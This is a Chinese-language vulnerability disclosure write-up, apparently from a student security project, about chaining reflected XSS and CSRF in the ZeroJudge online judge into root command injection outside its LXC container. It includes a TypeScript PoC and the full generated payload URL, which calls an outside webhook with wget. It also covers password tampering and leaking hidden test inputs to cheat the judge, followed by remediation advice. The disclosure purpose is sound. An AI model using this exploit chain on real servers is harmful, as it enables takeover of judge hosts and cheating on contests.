# ZeroJudge LXC Escape [toc] 等 HITCON ZeroDay 公開漏洞之後我會把這篇貼到我的 Blog 上。 ## Credit AIS3 2024 軟體、網路及 IoT 安全 A8 專題 - 學員 - [ianiiaannn](https://iancmd.dev) - [Yuki](https://0x4b4149.github.io) - [hsuan0223x](https://www.hsuan0223x.com) - [jackHo](https://chun-yung-ho.github.io/) - 助教 - [Ching367436](https://ching367436.me/) - [ItisCaleb](https://itiscaleb.com/) 攻擊都是在自架虛擬機器上完成。 ## 攻擊原理 ![image](https://hackmd.io/_uploads/rJuWy7otR.png) 使用者(基本上是管理員)從來自 `162.168.0.0\16`(原始碼中看到的預設值)或 `127.0.0.1`(虛擬機中的預設值)的電腦點開連結,Web Server 在上執行 XSS(`ShowProblem?problemid=` ),系統在顯示錯誤訊息會直接將 `problemid` 的值到網站上,我們在這裡寫個 `<script>` 上去就能對 Console CSRF(`ZeroJudge_Server/EditServerConfig`),Console 寫檔案到設定檔後會被沒有出現在 GitHub Repo 的某支程式同步到 LXC 外(從 `lxc-attach` 可以得知這段指令會被拿到 LXC 外面執行並且有 root 權限),最後系統啟動時會執行被我們值入惡意程式碼的 LXC Script。 ## PoC 使用 TypeScript 生成,方便切換目標。 ```typescript const baseURL = 'http://127.0.0.1' const command = 'wget%20https://webhook.site/aa2c8eef-ab60-47db-a938-75d1686861ed%26%26' const XSSEndpoint = 'ShowProblem?problemid=' const targetEndpoint = 'ZeroJudge_Server/EditServerConfig' const headers = { Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded', } const body = `Servername=ZeroJudgeServer&ServerOS=UbuntuServer&ServerInfo=&CONSOLE_PATH=%2FJudgeServer_CONSOLE&Lxc_EXEC=${command}sudo+lxc-attach+-n+lxc-ALL&Lxc_PATH=%2Fvar%2Flib%2Flxc%2Flxc-ALL%2Frootfs%2F&JVM_MB=3000&rsyncAccount=zero&cryptKey=ZZEERROO&sshport=22&allowIPset=%5B127.0.0.1%5D&isCleanTmpFile=true&compiler_enable=C&compiler_language=C&suffix=c&compiler_version=gcc+-std%3Dc11+%28gcc+7.4.0%29&compiler_path=&cmd_compile=gcc+%24S%2F%24C.c+-std%3Dc11+-lm+-lcrypt+-O2+-pipe+-DONLINE_JUDGE+-o+%24S%2F%24C.exe&timeextension=1.0&cmd_execute=%24S%2F%24C.exe+%3C+%24T+%3E+%24S%2F%24C.out&cmd_makeobject=g%2B%2B+%24S%2F%24C.c+-o+%24S%2F%24C.o&cmd_namemangling=nm+-A+%24S%2F%24C.exe&restrictedfunctions=%5B%22system%22%2C%22fopen%22%2C%22fclose%22%2C%22freopen%22%2C%22fflush%22%2C%22fstream%22%2C%22time.h%22%2C%22%23pargma%22%2C%22conio.h%22%2C%22fork%22%2C%22popen%22%2C%22execl%22%2C%22execlp%22%2C%22execle%22%2C%22execv%22%2C%22execvp%22%2C%22getenv%22%2C%22putenv%22%2C%22setenv%22%2C%22unsetenv%22%2C%22socket%22%2C%22connect%22%2C%22fwrite%22%2C%22gethostbyname%22%5D&samplecode=%23include%3Cstdio.h%3E%0D%0Aint+main%28%29+%7B%0D%0A+char+s%5B9999%5D%3B%0D%0Awhile%28+scanf%28%22%25s%22%2Cs%29%21%3DEOF+%29+%7B%0D%0A+printf%28%22hello%2C+%25s%5Cn%22%2Cs%29%3B%0D%0A+%7D%0D%0A+return+0%3B%0D%0A%7D&submit=` const payload = `fetch("${baseURL}/${targetEndpoint}", { "credentials": "include", "headers": ${JSON.stringify(headers)}, "body": "${body}", "method": "POST", "mode": "cors" });` console.log( `${baseURL}/${XSSEndpoint}<script>${encodeURIComponent( payload )}</script>`.replace(' ', ''.replace('\n', '')) ) ``` 目前的 Payload 是新的伺服器的預設設定,整個 CONSOLE 的設定檔都能竄改,唯一限制是 Payload 太長 Tomcat 會拒絕處理,但 `ZeroJudge_Server/EditServerConfig` 只能一次覆蓋所有的設定,所以這個 Payload 把 C 語言以外的語言都殺掉了。執行後會得到 XSS 攻擊 Payload: ``` http://127.0.0.1/ShowProblem?problemid=<script>fetch(%22http%3A%2F%2F127.0.0.1%2FZeroJudge_Server%2FEditServerConfig%22%2C%20%7B%0A%20%20%20%20%22credentials%22%3A%20%22include%22%2C%0A%20%20%20%20%22headers%22%3A%20%7B%22Accept%22%3A%22text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Fwebp%2C*%2F*%3Bq%3D0.8%22%2C%22Content-Type%22%3A%22application%2Fx-www-form-urlencoded%22%7D%2C%0A%20%20%20%20%22body%22%3A%20%22Servername%3DZeroJudgeServer%26ServerOS%3DUbuntuServer%26ServerInfo%3D%26CONSOLE_PATH%3D%252FJudgeServer_CONSOLE%26Lxc_EXEC%3Dwget%2520https%3A%2F%2Fwebhook.site%2Faa2c8eef-ab60-47db-a938-75d1686861ed%2526%2526sudo%2Blxc-attach%2B-n%2Blxc-ALL%26Lxc_PATH%3D%252Fvar%252Flib%252Flxc%252Flxc-ALL%252Frootfs%252F%26JVM_MB%3D3000%26rsyncAccount%3Dzero%26cryptKey%3DZZEERROO%26sshport%3D22%26allowIPset%3D%255B127.0.0.1%255D%26isCleanTmpFile%3Dtrue%26compiler_enable%3DC%26compiler_language%3DC%26suffix%3Dc%26compiler_version%3Dgcc%2B-std%253Dc11%2B%2528gcc%2B7.4.0%2529%26compiler_path%3D%26cmd_compile%3Dgcc%2B%2524S%252F%2524C.c%2B-std%253Dc11%2B-lm%2B-lcrypt%2B-O2%2B-pipe%2B-DONLINE_JUDGE%2B-o%2B%2524S%252F%2524C.exe%26timeextension%3D1.0%26cmd_execute%3D%2524S%252F%2524C.exe%2B%253C%2B%2524T%2B%253E%2B%2524S%252F%2524C.out%26cmd_makeobject%3Dg%252B%252B%2B%2524S%252F%2524C.c%2B-o%2B%2524S%252F%2524C.o%26cmd_namemangling%3Dnm%2B-A%2B%2524S%252F%2524C.exe%26restrictedfunctions%3D%255B%2522system%2522%252C%2522fopen%2522%252C%2522fclose%2522%252C%2522freopen%2522%252C%2522fflush%2522%252C%2522fstream%2522%252C%2522time.h%2522%252C%2522%2523pargma%2522%252C%2522conio.h%2522%252C%2522fork%2522%252C%2522popen%2522%252C%2522execl%2522%252C%2522execlp%2522%252C%2522execle%2522%252C%2522execv%2522%252C%2522execvp%2522%252C%2522getenv%2522%252C%2522putenv%2522%252C%2522setenv%2522%252C%2522unsetenv%2522%252C%2522socket%2522%252C%2522connect%2522%252C%2522fwrite%2522%252C%2522gethostbyname%2522%255D%26samplecode%3D%2523include%253Cstdio.h%253E%250D%250Aint%2Bmain%2528%2529%2B%257B%250D%250A%2Bchar%2Bs%255B9999%255D%253B%250D%250Awhile%2528%2Bscanf%2528%2522%2525s%2522%252Cs%2529%2521%253DEOF%2B%2529%2B%257B%250D%250A%2Bprintf%2528%2522hello%252C%2B%2525s%255Cn%2522%252Cs%2529%253B%250D%250A%2B%257D%250D%250A%2Breturn%2B0%253B%250D%250A%257D%26submit%3D%22%2C%0A%20%20%20%20%22method%22%3A%20%22POST%22%2C%0A%20%20%20%20%22mode%22%3A%20%22cors%22%0A%7D)%3B</script> ``` 當 Allow IP Set 底下的人進入連結(只需要點下連結,不需要額外的互動)後攻擊就會開始,並且竄改 `LXC 指令` 的設定。(千萬不要在正式環境執行,GitHub 上有虛擬機器) ![image](https://hackmd.io/_uploads/r1ZcXhct0.png) 這裡可以看到 `LXC 指令` 已經確實被我們注入惡意指令。 另外我們有用同一個 Endpoint 實作竄改使用者密碼(`UpdateUser`)(前端會 `console.log()` 密碼明碼,雖然對攻擊沒有幫助但也拜託修掉),時間不足我們沒有完成整個攻擊(虛擬機出了有點多問題,我們上台 Demo 的是還沒有加入 CSRF 的版本但確定能竄改密碼沒錯),但目前看來串一個 `fetch` 就能取得使用者的真實姓名等等不公開資訊,CSRF 設定不夠安全也能繞過,reCAPTCHA 我們認為能透過釣魚的方式使使用者自行完成機器人驗證。 在 LXC 內部的 RCE 漏洞我們實作了 Leak 輸入測資,只要先正式送出一次使輸入資料出現在 LXC 內部,接下來用練習模式並設定不要有輸出,伺服器(推測,確切數字忘了,反正會噴不少東西)就會 [噴出前 3000 個字元](https://github.com/jiangsir/ZeroJudge_Server/blob/38632e32cdc8b7e9ed5c4885b7f3480dd8cb8c5b/src/tw/zerojudge/Server/Beans/ServerOutput.java#L180),接下來在檔案系統中找到輸入測資的檔案,串個 `base64` (印象中遇到換行空格會有問題)之類的編碼就能成功 Leak 輸入。輸出沒找到位置沒有成功製作萬用解,但對於目前的固定測資系統這樣就可以先在電腦上使用效率較差的演算法先進行運算,使用答案做出穩定 O(1) 的「演算法」。 ## 修補方式 畢竟 LXC Escape 的部分是 XSS 攻擊,在 `allowIPset` 下的電腦不要亂點連結就不會有事。我們有看到更新密碼的部份有 CSRF Header,但沒有開啟 [HTTP Only](https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/),那樣就只是 Payload 要多 `fetch` 一次而已無法確實阻檔攻擊。 我們對於 JSP 和 Tomcat 的生態圈理解程度不夠,但推測可以利用 jstl 的 `escape` 相關函數處理後再輸出。其他的 XSS 漏洞推測也能 Chain 這個攻擊。 另外一個(最好並行)阻擋 XSS 攻擊的方向是 [Content Security Policy](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html),但根據現有的原始碼會有蠻多的 Codebase 更動。 ## 給 HITCON ZeroDay(?) 根據我們對這個系統的研究,這個系統有 LXC 且設定非常正確,目前沒有逃脫手段,前面的 RCE 能做到的事頂多 Leak LXC 裡面的檔案(例如題目的輸入檔,輸出不確定)。畢竟是 Online Judge,在 Container 內 RCE 應該也還好?反而是 XSS 能串出更嚴重的攻擊。 然後 GitHub 上的專案只是冰山一角,虛擬機藏了一堆東西我們熬夜查了好久。 ![image (7)](https://hackmd.io/_uploads/H1IVTD2FC.jpg)